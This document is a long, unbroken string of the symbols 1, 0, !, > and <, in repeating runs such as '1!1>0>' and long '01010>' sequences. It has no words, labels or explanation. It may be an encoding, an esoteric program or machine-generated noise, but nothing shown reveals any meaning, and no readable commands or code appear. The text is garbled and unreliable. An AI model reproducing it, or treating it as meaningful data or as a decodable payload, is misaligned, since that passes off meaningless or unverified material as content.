!1!1>0>1!1!<>1!1>0>1!1010>01>0>1!1!1>0>1!1!1!1!<>1!1>0>1!1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>10110>10110>1!1>0>1!1!1!1!1>0>1>0>1!1>0>10110>1!<>10110>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>01010111>01!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!10110>1!1!1!1>0>1!1!<>1!1!1!1!10110>1!1>0>1!1!1>0>1!10110>10110>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1!10110>1!1!1>0>10110>1!1!1>0>10110>1!10110>1!1!1>0>1!1!<>1!1!1010>01>0>1!1>0>1!1!1!1!1!1!<>1>0>1!1>01010111>01!1>0>1!1!1!1!1>0>10110>10110>1!1>0>1!1!10110>1!1!10110>10110>1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!1>0>1!10110>10110>10110>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1!1>0>10110>1!1>0>1!1!1!1>0>1!<>1!1>0>10110>1!1!1>0>1>0>1!1!10110>10110>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!10110>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!1!1>0>1!1!1!1!1>01010111>01>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1>0>10110>1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!10110>1!1!1!<>1>0>1!1>0>1!1010>01>0>1!1!1!1!1!1!1!<>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1>0>1!<>10110>1!10110>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>10110>1!10110>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>101101010111>10111>01!1>0>1>0>1!1>0>1>0><>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>01010111>01!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>10110>1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>10110>1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!<>10110>10110>1!10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1!10110><>1>0>1!10110>1!1!1!1>0>1!1!1!1>0>1!1>0>10110>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0><>1!1!1!1!1>01010111>01!1!1>0>1!1!1!<>1>0><>1!1!1!1!1>01010111>01>0>1!1!1!1>0>1>0>1!1!1!1>0><>1>0>1!<>1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1>01010111>01>0>1!1!1!<1010111>01!1!<>1>01010111>01>0>1!1>0>1!1>0>1!1!1!1>0>1!1>01010111>01>0>1!1!1!1!1!<1010111>01!1!1!1!1>01010111>01!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>01010111>01!1!1!1!1>01010111>01>0>1!1!1!1>0>1>01010111>01!1!1>01010111>01!1!1!1!1>01010111>01!1!1>0><>1>0>1!1>0>1!1>0>1>01010111>01>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!10110>1!1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1!1>01010111>0<>10110>1!1>01010111>01!1!1!1!1>01010111>01>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>01010111>01!1!1!1!1>01010111>10111>01!1>0>1!1!<>1!<>1>0><>1!1!1>0>1!1>0>1>01010111>01!1!1!1!1>01010111>01!1!1!1!1>0>1>0>1!1!1>0>10110>1!1!1!1!1>0>1!1!<>1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1>01010111>01>0>1!1!1!<1010111>01!1!<>1>01010111>01>0>1!1>0>1!1>0>1!1!1!1>0>1!1>01010111>01>01010111>01!1!1>0>101101010111>01!1!1!1!1>01010111>01!1!1!1!1>0>1>0><>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>01010111>01!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!1>01010111>10111>01!1>0>1!1!1>01010111>01!1!<>1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1>01010111>01>0>1!1!1!<1010111>01!1!<>1>01010111>01>0>1!1>0>1!1>0>1!1!1!1>0>1!1>01010111>01>0>1!<>1!1!1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1>01010111>01!1!1!1!1>0>1>0>1!1!1!1!<>1!1>01010111>01!1!<>1!1!<1010111>01>0><>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!<>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>01010111>01>0>1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!<>1!1!<><>1>0>1!1>0>1>0>1!1>01010111>01>0>1!1!1!1>01010111>01!1!1!1!1>0>1>0>1!1!1>0>1>0>10110>1!1>01010111>01>0>1!1!1!1>01010111>10111>01!1>0>1!1>0>1!1!1!1!1!1!101101010111>01!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>0>1!1!1!1!1!1!10110>1!1>0>1>01010111>01>0>1!1!1!1>01010111>01!1!1!1!1>0>1>0>1!1!1!1!1!<>1!<>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!<>1!1!1!1!1!1010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>010110>1!1!1!1!1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!<>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>010110>1!1>0>1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!<>1>0>1!1!10110>1!1!1!1!<>1!1!10110>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!<>1!1!1!1!<>1!1!1>0>10110>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!1!<>1!1!1!1>0>1>0>1!1!1!<>1!1>0>1>0>1!1>0>1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!<>1>0>1!1!10110>1!1!1!<>1>0>1!1!10110>1!1!1!<1010111>01!1!1!<>1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!<>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1010>010110>1!1>0>1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!<>1>0>1!1!10110>1!1!1!1!<>1!1!10110>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1!1!<>1!10110>1!1!1!<>1>0>1!1!1!1>0>1>0>1!1!1!<>1!1>0>1!10110>1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1!1!<>1!1!10110>1!1!1!1!1!1!1!<>1!1>0>1!1!1!<>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!1!1!1010>01010>01>0>1!1>0>1!1!1>0>1>0>1!1!1!<>1!1>0>1>0>1!1>0>1>0>1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1!1!<>1!10110>1!1!1!<>1>0>1!1!1!1>0>1>0>1!1!1!<>1!1>0>1!10110>1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1!1!<>1!1!10110>1!1!1!1!1!1!1!<>1!1>0>1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1>0>1!1!1!<>1!1>0>1>0>1!1>0>1>0>1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!<>1!1!10110>1!1!1!<>10110>1!1!1>0>1!1!1!<>1010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!10110>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!<>1!1!10110>1!1!1!<>1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!<>10110>1!1>0>1>0>1!1!1!<>1>0>1!1!1!1!1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1!1>0>1!1!1!<>1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1!1!1>0>1>0>1!1!1!<>1!1>0>1>0>1!1>0>1>0>1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!1!<>1!1!10110>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!<>1!10110>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1!1>0>1!1!1!<>1010>01>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!<>1!1!1!1>0>1>0>1!1!1!1!1!1!1!1010>01010>010110>1!1>0>1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!<>1>0>1!1!10110>1!1!1!1!<>1!1!10110>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!<>1010>01>0>1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!1!1!1!1010>01010>010110>1!1>0>1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!1!<>1!10110>1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!<>1!1!10110>1!1!1!<>1>0>1!1!1!1>0>1>0>1!1!1!<>1>0>1!1!10110>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!<>1!1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1!1!1!1!1!<>1!1!1>0>1>0>1!1!1!1!1!1!1010>01010>01>0>1!1>0>1!1!1>0>1>0>1!1!1!<>1!1>0>1>0>1!1>0>1>0>1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!<>1!1!1>0>10110>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!10110>1!1!1!<>1!1>0>1>0>1!1>0>1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1!<>1>0>1!1!1!1!1>0>1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!<>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1!1!1!<>1!1!1!1>0>1>0>1!1!1!1!1!<>1!1>0>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1!1!<>1>0>1!1!1!1!<>1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!<>1>0>1!1!1!1!1!1!1010>01>0>10110>1!1>0>1>0>1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!<>1!1!10110>1!1!1!1!1!<>1!10110>1!1!1!<>1>0>1!1!1>0>1!1>0>1!1!1!<>1!1!1!1!1!1010>01>0>1!1!1!<>1!1!10110>1!1!1>0>1!1!1!<>1>0>1!1>0>1!1!1!1010>01010>01010>010110>1!1>0>1>0>1!1!1!<>10110>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!1!<>1!10110>1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!<>1>0>1!1!10110>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!<>1!1!10110>1!1!1!1!1!<>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!<>1!1!1>0>1!1!1!1!1!1!1010>01010>01>0>10110>1!1>0>1>0>1!1!1!1!<>1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1!1>0>1!1!1!<>1!1>0>1!1!1>0>1>0>1!1!1!1!1!<>1>0>1!1>0>1>0>1!1!1!<>1!1!1>0>1!1>0>1>0>1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!1!<>1!1!10110>1!1!1!<>1!1!1!1!1>0>1>0>1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01010>01010>01010>01010>01010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1010>01010>01010>010110>10110>1!1!1!1!1!1!1010>01010>01>0>1!1!1!1!1!1!1!1!1!1010>01010>01010>01>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1010>01>0>1>0>10110>10110>10110>1!10110>1!1!1>01010111>01!1>0>10110>1!1>0>1!1!1!1!1010>01010>01>0>10110>1!1!1>0>1!1!1!1!<>1>0>1!1!1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!<>1!1!1>0>1!1!1>0>1!1!1!<>1>0>10110>1!1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1!1>0>1!1!1!<>10110>1!1!1>0>1!1!1!<>1!1!1>0>1!1!1>0>1!1!1!<>1>0>1!1!1>0>1!1>0>1!1!1!1!<>1!1!1>0>1!1>0>1!1!1!<>1!1>0>1!1!1!1>0>1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!<>1>0>10110>1!1>0>1!1!1!<>1>0>1!1!1>0>1!1>0>1!1!1!1!<>1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1010>01>0>1!1>0>1>0>1!1!1!1>0>1!1!<>1!1!1!1!1>0>1!1!1!1!1!1!1!1!1!1010>01010>01010>01010>01>0>1!1!<>1!1!1!1!1>0>1!1!1!1010>01>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1>0>1!1!1!1!1!1010>01010>01>0>1010>01010>01010>01010>01010>01010>01010>01>0>1!1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!1!1!1!1!<>1010>01010>01010>01010>01010>01010>01010>01>0>1!1010>01>0>1>0>1!1!1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1!1!1!1!1!<>1!1!1!1!1!1!1!1!1!1!1!1010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01>0><>1!1!1!1!<>1!1>0>1!1!1>0>1!1!1>0>1>0>10110>10110>1!1!1!1!1!1!1010>01010>01>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!1!1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1!1!1010>01010>01010>01010>01010>01010>01010>01010>01010>01>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1010>01010>01010>01010>01010>01010>01010>01010>01010>01010>01>0>1!1!1!1!1!1!1!1!1!1!1!1010>01>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1!1!1!1!1!1!1!1!1!1010>01010>01010>01010>01>0>1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1010>01>0>1!<>1!1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!1!1!1>0>1!10110><>1!1!1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1!1>01010111>01!1!1!1!1!1!1!10110>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!<>1!1>0>1!1!1>0>1!1!1!1>0><>1!<>1!1>0>1!1!1>0><>1!1!1!1!1>0><>1!<>1!1>0>1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!<>1!1!1!101101010111>01!1>0>1!1!1>0>1!1!1!1>0>1!1!1!<>1!1!1!1!1!101101010111>0<>1!1!1>0>1!1>0>1>0>1!1>0><>1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1!1!1!10110>1!1!1!1!1!101101010111>0<>1!1>0>1!10110>1!1>0><>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1!1!1!1!101101010111>01!1!1!1>0><>1!1!1!1!1>0>1!10110>1!1!1!1>0>1>0><>1!10110><>1!<>1!<>1!<>1!1!1!1!1!10110>1!1!1!1!1>0>1!<>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1>0><>1!<>1!1!1!1!10110>1!1!1!<>1!1!1!1>0>1>0><>1!10110><>1!1!1!1!1>0>1!10110><>1!<>1!<>1!<1010111>01>0>1!1!1!1!1!10110><>1!1>0>1!<>1!1!1!1!1>0>1!10110>1!1!1!1>0>1>0><>1!10110><>1!<>1!<>1!<>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!<>1!1!1!1!1>0>1!1!1>0>1!1!1!1!101101010111>01!1>0>1>0>1!<>1!<>1!<>1!1!1!1!1>0>1!10110>1!1!1!1>0>1>0><>1!10110><>1!<>1!<>1!<>1!<>1!1!1!1!1>0>1!1!1>0>1!1!1!1!101101010111>01!1>0>1>0>1!<>1!1!1!1!1>0>1!10110>1!1!1!1>0>1>0><>1!10110><>1!<>1!1!1!1!1!1!10110><1010111>01>0>1!1!1!1!1!10110><>1!1>0>1!1!1!1!1>0>1>0><>1!10110><>1!1!1!1!1>0>1!10110><>1!<>1!<>1!<>1!1!1!1!1>0>1>0>1!1!1!<>1!<>1!1!1!1!10110>1!<>1>0>1!<>1!1!1!1!1>0>1!10110>1!1!1!1>0>1>0><>1!10110><>1!<>1!<>1!<1010111>01>0>1!1!<>1!<>1!1!1!1!10110>1!<>1>0>1!1!1!1!1>0>1>0><>1!10110><>1!1!1!1!1>0>1!10110><>1!<>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>0><1010111>01>0>1!1!1!1!1!101101010111>01>0>1!1>0>1!1!1!1!1>0>1>0><>1!10110><>1!1!1!1!1>0>1!10110><>1!<>1!<>1!<>1!<>1!<>1!<>1!1!1!1!10110>1!<>1>0>1!<>1!<>1!1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1!1!10110><>1>01010111>01>0><>1!10110><>1!<>1!<>1!<>1!1!1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1!<>1!<>1!1!1!1!1>0>1!10110><>1!<>1!1!1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1>0><>1!1!1!1!1>0>1!1>0>1!1!1!1!1!10110101